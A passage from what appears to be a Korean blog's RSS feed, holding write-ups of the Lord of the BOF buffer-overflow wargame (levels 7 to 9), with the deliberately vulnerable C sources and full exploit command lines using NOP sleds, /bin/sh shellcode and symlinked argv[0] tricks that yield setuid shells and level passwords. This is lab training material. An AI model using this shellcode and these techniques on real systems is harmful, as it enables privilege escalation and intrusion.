¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿&lt;/div&gt;
&lt;div&gt;
Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[troll@localhost xodnr]$ ./vampire `python -c &#039;print &quot;\xbf&quot;*48&#039;` `python -c &#039;print &quot;\x90&quot;*100000&#039;`&lt;/div&gt;
&lt;div&gt;
0xbffe760f&lt;/div&gt;
&lt;div&gt;
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿&lt;/div&gt;
&lt;div&gt;
Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
보시다시피 80000개를, NOP 값을 8만개 넣어줬을때부터 bf fe 76 0f 이렇게 값이 달라지게되고&lt;/div&gt;
&lt;div&gt;
추가된 if 문인 \xff 를 검사하는 조건또한 뛰어넘을 수 있습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
그러면 어디 한번 공략해보겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[troll@localhost xodnr]$ ./vampire `python -c &#039;print &quot;\xbf&quot;*48&#039;` `python -c &#039;print &quot;\x90&quot;*80000 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;&#039;`&lt;/div&gt;
&lt;div&gt;
0xbffec416&lt;/div&gt;
&lt;div&gt;
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿&lt;/div&gt;
&lt;div&gt;
Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
주소가 나왔습니다. 위 주소로 Argv[1] 에서 RET 의 값을 조작하고 넘겨줘보겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[troll@localhost xodnr]$ ./vampire `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\x16\xc4\xfe\xbf&quot;&#039;` `python -c &#039;print &quot;\x90&quot;*80000 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;&#039;`&lt;/div&gt;
&lt;div&gt;
0xbffec416&lt;/div&gt;
&lt;div&gt;
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿Äþ¿&lt;/div&gt;
&lt;div&gt;
bash$ exit&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
성공적으로 쉘이 떴으니 원본파일에서 실행해봅시다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[troll@localhost xodnr]$ cd ..&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[troll@localhost troll]$ ./vampire `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\x16\xc4\xfe\xbf&quot;&#039;` `python -c &#039;print &quot;\x90&quot;*80000 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;&#039;`&lt;/div&gt;
&lt;div&gt;
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿Äþ¿&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
bash$ id&lt;/div&gt;
&lt;div&gt;
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
bash$ my-pass&lt;/div&gt;
&lt;div&gt;
euid = 509&lt;/div&gt;
&lt;div&gt;
[ 패스워드 ]&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
성공적으로 문제가 풀어졌습니다! ^^&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-557-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-557-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-557-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19714284&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/557</guid>
			<comments>http://iyounges.org/557#entry557comment</comments>
			<pubDate>Fri, 19 Aug 2011 21:54:26 +0900</pubDate>
		</item>
		<item>
			<title>[BOF-Wargames] LOB Load of BOF LEVEL8 (orge -&gt; troll) 문제풀이</title>
			<link>http://iyounges.org/556</link>
			<description>&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
LOB Level8 [ Orge -&amp;gt; Troll ]&lt;/div&gt;
&lt;div&gt;-------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[orge@localhost orge]$ ls&lt;/div&gt;
&lt;div&gt;troll &amp;nbsp;troll.c&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[orge@localhost orge]$ ./troll&lt;/div&gt;
&lt;div&gt;argc must be two!&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
무조건 인자가 두개 있어야지만 됩니다. 여기서 인자 두개는&lt;/div&gt;
&lt;div&gt;Argv[0] 과 Argv[1] 을 의미합니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[orge@localhost orge]$ ./troll aa&lt;/div&gt;
&lt;div&gt;stack is still your friend.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[orge@localhost orge]$ cat troll.c&lt;/div&gt;
&lt;div&gt;/*&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The Lord of the BOF : The Fellowship of the BOF&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - troll&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - check argc + argv hunter&lt;/div&gt;
&lt;div&gt;*/&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
extern char **environ;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char buffer[40];&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int i;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // here is changed&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argc != 2){&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argc must be two!\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // egghunter&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i=0; environ[i]; i++)&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(environ[i], 0, strlen(environ[i]));&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argv[1][47] != &#039;\xbf&#039;)&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;stack is still your friend.\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // check the length of argument&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(strlen(argv[1]) &amp;gt; 48){&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argument is too long!\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // buffer hunter&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(buffer, 0, 40);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // one more!&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(argv[1], 0, strlen(argv[1])); // Argv[1] 을 Argv[1] 의 길이만큼 초기화 합니다. 고로 Argv[1] 에 어떤값을 넣어줘도 0 으로 초기화 됩니다.&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
일단 이 문제는 Argv[0] 과 Argv[1] 로만 공략을 해야되는데 Argv[1] 은 자동으로 초기화가 되지만 RET 는 덮을 수 있습니다.&lt;/div&gt;
&lt;div&gt;어떻게 공격을 해야될까요? Argv[0] 을 이용해 공략하시면 됩니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
심볼릭 링크를 이용해 Argv[0] 에 쉘코드를 올려놓고 Argv[1] 에는 &quot;\xbf&quot; 와 RET 만 해주면 되는데&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[orge@localhost xodnr]$ ln -s troll `python -c &#039;print &quot;\x90&quot;*100 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;&#039;`&lt;/div&gt;
&lt;div&gt;ln: cannot create symbolic link `1ÀPh//shh/bin‰ãPS‰á1Ò°&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Í€&#039; to `troll&#039;: No such file or directory&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그런데 여기서 문제가 쉘코드에 \x2f 가 있을경우 쉘코드가 정상적으로 돌아가지 않는다는 것입니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그래서 \x2f 가 없는 쉘코드를 사용해야하는데 다음의 쉘코드를 사용하면 됩니다.&lt;/div&gt;
&lt;div&gt;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
먼저 Argv[0] 의 주소를 알아내기 위해 전과 똑같이 수정하고 컴파일한다음&lt;/div&gt;
&lt;div&gt;printf(&quot;0x%x\n&quot;, argv[0]);&lt;/div&gt;
&lt;div&gt;심볼릭 링크를 이용해 Argv[0], 프로그램 이름을 NOP 와 쉘코드로 덮어보겠습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
주소가 나왔습니다. bffffabf 로 공격을 하면 됩니다.&lt;/div&gt;
&lt;div&gt;원본파일로 나와 스크립트를 구성하고 공격해보겠습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash2-2.03$ ls&lt;/div&gt;
&lt;div&gt;troll &amp;nbsp;troll.c &amp;nbsp;xodnr&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash2-2.03$ ln -s troll `python -c &#039;print &quot;\x90&quot;*100 + &quot;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&quot;&#039;`&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash2-2.03$ ./`python -c &#039;print &quot;\x90&quot;*100 + &quot;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&quot;&#039;` `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\xbf\xfa\xff\xbf&quot;&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿úÿ¿&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash$ id&lt;/div&gt;
&lt;div&gt;uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash$ my-pass&lt;/div&gt;
&lt;div&gt;euid = 508&lt;/div&gt;
&lt;div&gt;aspirin&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
성공적으로 정답이 출력되었습니다.&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-556-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-556-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-556-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19714245&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/556</guid>
			<comments>http://iyounges.org/556#entry556comment</comments>
			<pubDate>Fri, 19 Aug 2011 21:52:28 +0900</pubDate>
		</item>
		<item>
			<title>[BOF-Wargames] LOB Load of BOF LEVEL7 (darkelf -&gt; orge) 문제풀이</title>
			<link>http://iyounges.org/555</link>
			<description>&lt;div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
-------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
LOB Level7 [ Darkelf-&amp;gt; Orge ]&lt;/div&gt;
&lt;div&gt;-------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ ls&lt;/div&gt;
&lt;div&gt;orge &amp;nbsp;orge.c &amp;nbsp;xodnr&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ ./orge&lt;/div&gt;
&lt;div&gt;argv error&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ cat orge.c&lt;/div&gt;
&lt;div&gt;/*&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The Lord of the BOF : The Fellowship of the BOF&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - orge&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - check argv[0]&lt;/div&gt;
&lt;div&gt;*/&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
extern char **environ;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char buffer[40];&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int i;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argc &amp;lt; 2){&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argv error\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // here is changed!&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(strlen(argv[0]) != 77){&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argv[0] error\n&quot;);&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;		&lt;/span&gt;// argv[0] == Program Name, 파일이름의 길이가 77 이 아닐경우 에러가 출력되면서 프로그램이 종료됩니다.&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // egghunter&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i=0; environ[i]; i++)&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(environ[i], 0, strlen(environ[i]));&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argv[1][47] != &#039;\xbf&#039;)&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;stack is still your friend.\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // check the length of argument&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(strlen(argv[1]) &amp;gt; 48){&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argument is too long!\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // buffer hunter&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(buffer, 0, 40);&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
